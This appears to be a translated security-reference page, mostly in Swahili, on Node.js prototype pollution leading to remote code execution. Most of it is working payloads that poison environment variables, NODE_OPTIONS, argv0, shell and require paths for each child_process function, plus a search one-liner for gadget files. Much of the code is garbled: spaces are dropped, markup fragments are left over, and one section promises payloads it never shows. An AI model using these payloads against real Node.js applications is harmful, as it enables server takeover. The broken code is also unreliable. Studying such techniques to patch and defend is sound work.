Fikiria JS halisi ikitumia baadhi ya msimbo kama ifuatavyo:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE kupitia env vars
PP2RCE inamaanisha Prototype Pollution to RCE (Remote Code Execution).
Kulingana na hii writeup wakati mchakato unazalishwa kwa njia fulani kutoka child_process (kama fork au spawn au nyinginezo) inaita njia normalizeSpawnArguments ambayo ni gadget ya prototype pollution kuunda env vars mpya:
Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.
Poisoning __proto__
Note that due to how the normalizeSpawnArguments function from the child_process library of node works, when something is called in order to set a new env variable for the process you just need to pollute anything.
For example, if you do __proto__.avar="valuevar" the process will be spawned with a var called avar with value valuevar.
However, in order for the env variable to be the first one you need to pollute the .env attribute and (only in some methods) that var will be the first one (allowing the attack).
That's why NODE_OPTIONS is not inside .env in the following attack.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Kuambukiza constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE kupitia env vars + cmdline
Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika hiki andiko. Tofauti kuu ni:
Badala ya kuhifadhi payload ya nodejs ndani ya faili /proc/self/environ, inahifadhi ndani ya argv0 ya /proc/self/cmdline.
Kisha, badala ya kuhitaji kupitia NODE_OPTIONS faili /proc/self/environ, inahitaji /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Interaction
Kwa kutumia payloads zifuatazo inawezekana kutumia NODE_OPTIONS env var tuliyozungumzia hapo awali na kugundua kama ilifanya kazi kwa mwingiliano wa DNS:
Katika sehemu hii tutachambua kila kazi kutoka child_process ili kutekeleza msimbo na kuona kama tunaweza kutumia mbinu yoyote kulazimisha kazi hiyo kutekeleza msimbo:
exec exploitation
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile unyanyasaji
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Kwa **`execFile`** kufanya kazi inahitaji **KUFANYA kazi node** ili NODE\_OPTIONS ifanye kazi.\
Ikiwa **siyo** inafanya kazi **node**, unahitaji kutafuta jinsi unavyoweza **kubadilisha utekelezaji** wa chochote kinachotekelezwa **kwa kutumia mabadiliko ya mazingira** na kuyapanga.
Mbinu **zingine** **zinafanya kazi** bila hitaji hili kwa sababu ni **uwezekano kubadilisha** **kile kinachotekelezwa** kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua `.shell`, huwezi kuchafua kile kinachotekelezwa).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn unyanyasaji
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync unyanyasaji
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync unyanyasaji
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync unyanyasaji
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Kulazimisha Kuanzishwa
Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo inaita spawn inahitaji kuwa ipo (mbinu zote za child_process zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa sehemu ya msimbo, lakini je, ikiwa msimbo hauiiti.
Kudhibiti njia ya faili ya require
Katika andika nyingine hii mtumiaji anaweza kudhibiti njia ya faili ambapo require itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu kumpata faili ya .js ndani ya mfumo ambayo itafanya kazi ya spawn wakati inapoingizwa.
Baadhi ya mifano ya faili za kawaida zinazoiita kazi ya spawn wakati zinapoingizwa ni:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Pata faili zaidi hapa chini
Msimbo rahisi ufuatao utaangalia itoaji kutoka child_processbila padding yoyote (ili kuepuka kuonyesha itoaji ndani ya kazi):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep--with-filename-nE"^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()""$file_path"|grep-v"require("|grep-v"function "|grep-v"util.deprecate"|sed-E's/.{255,}.*//'done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype
Teknolojia ya awali inahitaji kwamba mtumiaji adhibiti njia ya faili ambayo itakuwa inahitajiwa. Lakini hii si kweli kila wakati.
Hata hivyo, ikiwa msimbo utaendesha hitaji baada ya uchafuzi wa prototype, hata kama huna udhibiti wa njia ambayo itakuwa inahitajiwa, unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype. Hivyo hata kama mstari wa msimbo ni kama require("./a_file.js") au require("bytes") itakuwa inahitaji pakiti uliyopunguza.
Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:
Tafuta faili ya .js ndani ya mfumo ambayo wakati inahitajiwa itafanya kitu kwa kutumia child_process
Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo
Punguza njia ili kulazimisha hitaji la kupakia faili ya .js ambayo itafanya kitu na child_process
Punguza environ/cmdline ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)
Hitaji la moja kwa moja
Ikiwa hitaji lililofanywa ni moja kwa moja (require("bytes")) na pakiti haina sehemu ya msingi katika faili la package.json, unaweza kupunguza sifa ya main na kufanya hitaji kutekeleza faili tofauti.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Relative require - 1
Ikiwa njia ya uhusiano inapo load badala ya njia kamili, unaweza kufanya node iweke njia tofauti:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Mahitaji ya jamaa - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relative require - 3
Kama ile ya awali, hii ilipatikana katika hii andiko.
Katika karatasi https://arxiv.org/pdf/2207.11171.pdf pia inaonyesha kwamba udhibiti wa contextExtensions kutoka baadhi ya mbinu za maktaba ya vm unaweza kutumika kama gadget.
Hata hivyo, kama mbinu za awali za child_process, imekuwa imefanyiwa marekebisho katika toleo jipya.
Fixes & Unexpected protections
Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa sifa ya kitu kinachofikiwa ni undefined. Ikiwa katika code hiyo sifa ime wekwa thamani, hutaweza kuandika upya.
Mnamo Juni 2022 kutoka hiki kifungu var options badala ya {} ni kEmptyObject. Ambayo inaepusha uchafuzi wa prototype kuathiri sifa za options kupata RCE.
Angalau kuanzia v18.4.0 ulinzi huu ume tekelezwa, na kwa hivyo spawn na spawnSyncexploits zinazohusiana na mbinu hazifanyi kazi tena (ikiwa hakuna options zinazotumika!).
Katika hiki kifunguuchafuzi wa prototype wa contextExtensions kutoka maktaba ya vm pia umeweza kufanyiwa marekebisho kwa kuweka options kuwa kEmptyObject badala ya {}.